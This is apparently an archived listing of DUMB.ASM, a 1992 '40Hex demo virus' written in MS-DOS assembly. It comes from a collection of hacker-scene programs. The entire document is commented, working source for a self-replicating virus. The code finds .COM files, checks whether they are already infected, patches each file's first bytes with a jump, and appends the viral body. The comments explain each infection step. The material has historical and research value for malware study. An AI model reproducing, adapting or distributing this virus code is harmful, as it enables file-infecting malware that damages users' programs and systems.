home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DUMB.ASM < prev    next >
Assembly Source File  |  1992-11-06  |  4KB  |  117 lines

  1.   DumbVirus segment
  2.   Assume    CS:DumbVirus
  3.   Org 100h                 ; account for PSP
  4.   
  5.   ; Dumb Virus - 40Hex demo virus
  6.   ; Assemble with TASM /m2
  7.   
  8.   Start:  db      0e9h     ; jmp duh
  9.           dw      0
  10.   
  11.   ; This is where the virus starts
  12.   duh:    call    next
  13.   next:   pop     bp                   ; bp holds current location
  14.           sub     bp, offset next      ; calculate net change
  15.   
  16.   ; Restore the original first three bytes
  17.           lea     si, [bp+offset stuff]
  18.           mov     di, 100h
  19.   ; Put 100h on the stack for the retn later
  20.   ; This will allow for the return to the beginning of the file
  21.           push    di
  22.           movsw
  23.           movsb
  24.   
  25.   ; Change DTA from default (otherwise Findfirst/next will destroy
  26.   ; commandline parametres
  27.           lea     dx, [bp+offset dta]
  28.           call    set_dta
  29.   
  30.           mov     ah, 4eh           ; Find first
  31.           lea     dx, [bp+masker]   ; search for '*.COM',0
  32.           xor     cx, cx            ; attribute mask - this is unnecessary
  33.   tryanother:
  34.           int     21h
  35.           jc      quit              ; Quit on error
  36.   
  37.   ; Open file for read/write
  38.   ; Note: This fails on read-only files
  39.           mov     ax, 3D02h
  40.           lea     dx, [bp+offset dta+30] ; File name is located in DTA
  41.           int     21h
  42.           xchg    ax, bx
  43.   
  44.   ; Read in the first three bytes
  45.           mov     ah, 3fh
  46.           lea     dx, [bp+stuff]
  47.           mov     cx, 3
  48.           int     21h
  49.   
  50.   ; Check for previous infection
  51.           mov     ax, word ptr [bp+dta+26]       ; ax = filesize
  52.           mov     cx, word ptr [bp+stuff+1]      ; jmp location
  53.           add     cx, eov - duh + 3              ; convert to filesize
  54.           cmp     ax, cx                         ; if same, already infected
  55.           jz      close                          ; so quit out of here
  56.   
  57.   ; Calculate the offset of the jmp
  58.           sub     ax, 3                          ; ax = filesize - 3
  59.           mov     word ptr [bp+writebuffer], ax
  60.   
  61.   ; Go to the beginning of the file
  62.           xor     al, al
  63.           call    f_ptr
  64.   
  65.   ; Write the three bytes
  66.           mov     ah, 40h
  67.           mov     cx, 3
  68.           lea     dx, [bp+e9]
  69.           int     21h
  70.   
  71.   ; Go to the end of the file
  72.           mov     al, 2
  73.           call    f_ptr
  74.   
  75.   ; And write the rest of the virus
  76.           mov     ah, 40h
  77.           mov     cx, eov - duh
  78.           lea     dx, [bp+duh]
  79.           int     21h
  80.   
  81.   close:
  82.           mov     ah, 3eh
  83.           int     21h
  84.   
  85.   ; Try infecting another file
  86.           mov     ah, 4fh                        ; Find next
  87.           jmp     short tryanother
  88.   
  89.   ; Restore the DTA and return control to the original program
  90.   quit:   mov     dx, 80h                        ; Restore current DTA to
  91.                                                  ; the default @ PSP:80h
  92.   set_dta:
  93.           mov     ah, 1ah                        ; Set disk transfer address
  94.           int     21h
  95.           retn
  96.   f_ptr:  mov     ah, 42h
  97.           xor     cx, cx
  98.           cwd                                    ; equivalent to: xor dx, dx
  99.           int     21h
  100.           retn
  101.   
  102.   masker  db      '*.com',0
  103.   ; Original three bytes of the infected file
  104.   ; Currently holds a INT 20h instruction and a null byte
  105.   stuff   db      0cdh, 20h, 0
  106.   e9      db      0e9h
  107.   eov equ $                                      ; End of the virus
  108.   ; The following variables are stored in the heap space (the area between
  109.   ; the stack and the code) and are not part of the virus that is written
  110.   ; to files.
  111.   writebuffer dw  ?                              ; Scratch area holding the
  112.                                                  ; JMP offset
  113.   dta         db 42 dup (?)
  114.   DumbVirus    ENDS
  115.                END     Start
  116.  
  117.